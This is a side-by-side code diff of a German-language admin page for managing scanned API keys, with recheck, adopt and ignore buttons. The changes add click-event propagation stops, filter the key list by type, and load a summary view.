if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString()); if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString());
@@ -382,12 +461,13 @@ registerPage('api-keys', {
recheckBtn.className = 'icon-btn'; recheckBtn.className = 'icon-btn';
recheckBtn.title = 'Erneut prüfen'; recheckBtn.title = 'Erneut prüfen';
recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>'; recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>';
recheckBtn.addEventListener('click', async function() { recheckBtn.addEventListener('click', async function(e) {
e.stopPropagation();
recheckBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i>'; recheckBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i>';
recheckBtn.disabled = true; recheckBtn.disabled = true;
try { try {
await apiRecheckScannedKey(sk.scannedKeyId); await apiRecheckScannedKey(sk.scannedKeyId);
await loadScannedKeys(); await loadScannedKeysByType(selectedType);
} catch (err) { showToast(err.message, 'error'); } } catch (err) { showToast(err.message, 'error'); }
finally { recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>'; recheckBtn.disabled = false; } finally { recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>'; recheckBtn.disabled = false; }
}); });
@@ -399,11 +479,12 @@ registerPage('api-keys', {
adoptBtn.className = 'icon-btn'; adoptBtn.className = 'icon-btn';
adoptBtn.title = 'Als API-Key übernehmen'; adoptBtn.title = 'Als API-Key übernehmen';
adoptBtn.innerHTML = '<i class="fa fa-plus-circle" style="color:var(--accent)"></i>'; adoptBtn.innerHTML = '<i class="fa fa-plus-circle" style="color:var(--accent)"></i>';
adoptBtn.addEventListener('click', async function() { adoptBtn.addEventListener('click', async function(e) {
e.stopPropagation();
try { try {
await apiAdoptScannedKey(sk.scannedKeyId); await apiAdoptScannedKey(sk.scannedKeyId);
showToast('Key übernommen'); showToast('Key übernommen');
await loadScannedKeys(); await loadScannedKeysByType(selectedType);
await loadKeys(); await loadKeys();
} catch (err) { showToast(err.message, 'error'); } } catch (err) { showToast(err.message, 'error'); }
}); });
@@ -415,10 +496,11 @@ registerPage('api-keys', {
delBtn.className = 'icon-btn'; delBtn.className = 'icon-btn';
delBtn.title = 'Ignorieren'; delBtn.title = 'Ignorieren';
delBtn.innerHTML = '<i class="fa fa-trash"></i>'; delBtn.innerHTML = '<i class="fa fa-trash"></i>';
delBtn.addEventListener('click', async function() { delBtn.addEventListener('click', async function(e) {
e.stopPropagation();
try { try {
await apiDeleteScannedKey(sk.scannedKeyId); await apiDeleteScannedKey(sk.scannedKeyId);
await loadScannedKeys(); await loadScannedKeysByType(selectedType);
} catch (err) { showToast(err.message, 'error'); } } catch (err) { showToast(err.message, 'error'); }
}); });
actions.appendChild(delBtn); actions.appendChild(delBtn);
@@ -429,13 +511,30 @@ registerPage('api-keys', {
}); });
} }
async function loadScannedKeys() { async function loadSummary() {
try { try {
scannedKeys = await apiGetScannedKeys(); var summary = await apiGetScannedKeysSummary();
renderSummary(summary);
} catch (err) { showToast(err.message, 'error'); }
}
async function loadScannedKeysByType(type) {
selectedType = type;
scannedList.innerHTML = '<div class="admin-user-meta" style="padding:1rem 0"><i class="fa fa-spinner fa-spin"></i> Lade Keys…</div>';
try {
scannedKeys = await apiGetScannedKeys(type);
renderScannedKeys(); renderScannedKeys();
} catch (err) { showToast(err.message, 'error'); } } catch (err) { showToast(err.message, 'error'); }
} }
async function loadScannedKeys() {
if (selectedType) {
await loadScannedKeysByType(selectedType);
} else {
await loadSummary();
}
}
var scanBtnDefaults = [ var scanBtnDefaults = [
{ btn: scanQuickBtn, icon: 'fa-bolt', label: 'Quick' }, { btn: scanQuickBtn, icon: 'fa-bolt', label: 'Quick' },
{ btn: scanWebBtn, icon: 'fa-globe', label: 'Web' }, { btn: scanWebBtn, icon: 'fa-globe', label: 'Web' },